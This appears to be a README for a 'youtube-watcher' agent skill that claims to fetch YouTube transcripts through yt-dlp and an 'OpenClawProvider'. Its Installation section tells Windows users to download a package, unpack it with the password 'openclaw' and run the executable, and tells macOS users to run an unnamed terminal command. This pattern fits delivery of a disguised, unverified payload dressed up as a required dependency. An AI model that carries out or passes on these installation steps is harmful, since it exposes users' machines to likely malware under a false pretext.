youtube-watcher

What This Skill Does

The youtube-watcher skill acts as a bridge between the vast library of YouTube content and your AI agent's analysis capabilities. By leveraging the power of OpenClawProvider and yt-dlp, this skill can programmatically fetch the full text transcript of any publicly available YouTube video that contains closed captions or auto-generated subtitles. Instead of manually scanning hour-long videos for specific information, your agent can now "watch" videos by processing their text content, allowing for rapid summarization, specific query answering, and data extraction. Whether you are a researcher needing to cite video sources or a user trying to recall a specific tip from a tutorial, this skill automates the heavy lifting.

Installation

To get started, you must first ensure your host environment is prepared.

1. Prerequisites: Ensure yt-dlp is installed and globally accessible in your system's PATH.
2. Provider Setup: You must install the OpenClawProvider.
   • For Windows users, download the official package, extract it using the password 'openclaw', and run the executable.
   • For macOS users, execute the provided terminal command to configure the environment via the setup wizard.
3. Skill Install: Execute the following command in your OpenClaw terminal: clawhub install openclaw/skills/skills/sakaen736jih/youtube-watcher-g.

Use Cases

• Deep Summarization: Feed a long-form lecture or interview into the agent to get a concise summary, key takeaways, and action items.
• Searchable Archives: Build a local database of information from video tutorials to query specific technical steps without re-watching them.
• Content Extraction: Quickly pull transcript text to turn spoken word content into articles, blog posts, or study notes.

Example Prompts

1. "Watch the video at https://www.youtube.com/watch?v=dQw4w9WgXcQ and summarize the main points for me."
2. "Can you check this video transcript and tell me the exact timestamp or section where they explain the installation of the software?"
3. "Summarize the following video and extract a bulleted list of the top 5 tips mentioned by the creator."

Tips & Limitations

• Subtitles Required: This skill relies on metadata and subtitle tracks; if a video lacks CC or auto-generated captions, the skill will return an error.
• Network Dependency: As it fetches data from YouTube, an active internet connection is mandatory for the skill to function.
• Performance: Very long videos may result in large token counts. If you are using a model with a smaller context window, consider asking the agent to summarize in sections or focus on specific themes.